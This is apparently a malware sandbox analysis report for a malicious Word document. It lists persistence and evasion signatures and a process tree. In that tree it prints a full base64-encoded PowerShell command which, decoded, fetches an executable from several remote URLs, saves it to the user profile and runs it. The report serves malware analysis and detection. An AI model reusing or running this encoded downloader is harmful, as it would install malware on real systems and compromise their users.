Overview

overview

6

task1

 

6

task2

 

5

Analysis

  • max time kernel
    47s
  • max time network
    11651379494s
  • resource
    win7

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_cdf406976d2e6c1e011078a5991ec178.suspected

  • Sample

    190926-j2m7w25g8s

  • SHA256

    21b2b7e92c8f7e405062af2ecca54753fb6fe4f93000d262cd1bae4f89c81310

Score
N/A

Malware Config

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 3 IoCs
  • Modifies registry class 1 TTPs 280 IoCs
    persistence
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cdf406976d2e6c1e011078a5991ec178.suspected.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:1384
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABZAEEAWgBjAEMAWgBCAD0AKAAnAG0AJwArACcAdwAxAFUAQQBDACcAKQA7ACQAdABBAEEARwBBAEMAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAG8AUQB3AGMAQQBEAD0AKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcAJwArACcALgBiACcAKwAnAGkAbABnACcAKwAnAGkAZQBnAGkAdABpACcAKwAnAG0AbwBuAGwAaQBuAGUALgBjAG8AbQAnACsAJwAvAHcAcAAtAGEAZABtAGkAbgAvAG0AWABXAHAAJwArACcALwBAAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8ALwB3AHcAJwArACcAdwAuAHkAJwArACcAYQBuACcAKwAnAGoAaQBhAG8AJwArACcAegBoAGEAJwArACcAbgAuAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AaQBuAGMAbAB1ACcAKwAnAGQAZQBzACcAKwAnAC8AdQBnADcALwBAAGgAdAB0AHAAOgAvAC8AYgBhAHIAYQBiAG8AbwBzAGUAbgBpAG8AcgBoAGkAZwBoAC4AYwBvAG0AJwArACcALwBFAG4ALwBKAEgAUwAnACsAJwAvAEAAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB3AHcAdwAuAG0AYQBqAG8AcgBpAHMAdABhAG4AYgB1AGwALgAnACsAJwBjAG8AbQAvAGMAJwArACcAZwBpACcAKwAnAC0AYgBpAG4ALwAxACcAKwAnAE8AJwArACcARgAvAEAAaAB0AHQAcAA6AC8AJwArACcALwBiAGwAbwAnACsAJwBvAGQAeQBiAGkAdABzAC4AYwBvACcAKwAnAG0ALwBlACcAKwAnAGQAdwBpAG4AagBlAGYAZgBlAHIAcwBvAG4ALgAnACsAJwBjAG8AbQAvACcAKwAnAGoAeAAnACsAJwA3AC8AJwApAC4AKAAnAFMAcABsACcAKwAnAGkAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAGMAbwBaAEEAQQBBAHcAQQA9ACgAJwBhAFoAJwArACcAWgBVACcAKwAnAEMAQQBBAEEAJwApADsAJAB6AEIAQQBCAEQAVQA0AEEAIAA9ACAAKAAnADgAJwArACcANAA5ACcAKQA7ACQAWABEAEEAQQBBAEEAPQAoACcASABjACcAKwAnAG8AQQBVAEEAQQBRACcAKQA7ACQATwBVAEIAQQA0AFUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHoAQgBBAEIARABVADQAQQArACgAJwAuAGUAJwArACcAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGQAWABjAEEAeABBAFEAIABpAG4AIAAkAG8AUQB3AGMAQQBEACkAewB0AHIAeQB7ACQAdABBAEEARwBBAEMALgAoACcARABvAHcAJwArACcAbgAnACsAJwBsAG8AYQAnACsAJwBkAEYAaQBsAGUAJwApAC4ASQBuAHYAbwBrAGUAKAAkAGQAWABjAEEAeABBAFEALAAgACQATwBVAEIAQQA0AFUAKQA7ACQARABBAEcAVQBVAEEAVQA9ACgAJwBPACcAKwAnAFEAQwBCAGsAawBHACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABPAFUAQgBBADQAVQApAC4AIgBMAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewAmACgAJwBJACcAKwAnAG4AJwArACcAdgBvACcAKwAnAGsAZQAtAEkAdABlAG0AJwApACAAJABPAFUAQgBBADQAVQA7ACQAUgBBAEIAYwBVADQARABBAD0AKAAnAHAAJwArACcAQQB4AEMAWgAnACsAJwBVACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABoAEEAVQBEAEQAQQA9ACgAJwBJAFgAawAnACsAJwBRADEAJwArACcAeAAnACkAOwA=
    1⤵
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    • Modifies system certificate store
    PID:1672
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-6007007771175799528-753798545-616527405-10437865261101717999907086433354790885"
    1⤵
      PID:1784
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1448

    Network

    MITRE ATT&CK Enterprise v15

    MITRE ATT&CK Additional techniques

    • T1130

    Replay Monitor

    Loading Replay Monitor...

    Downloads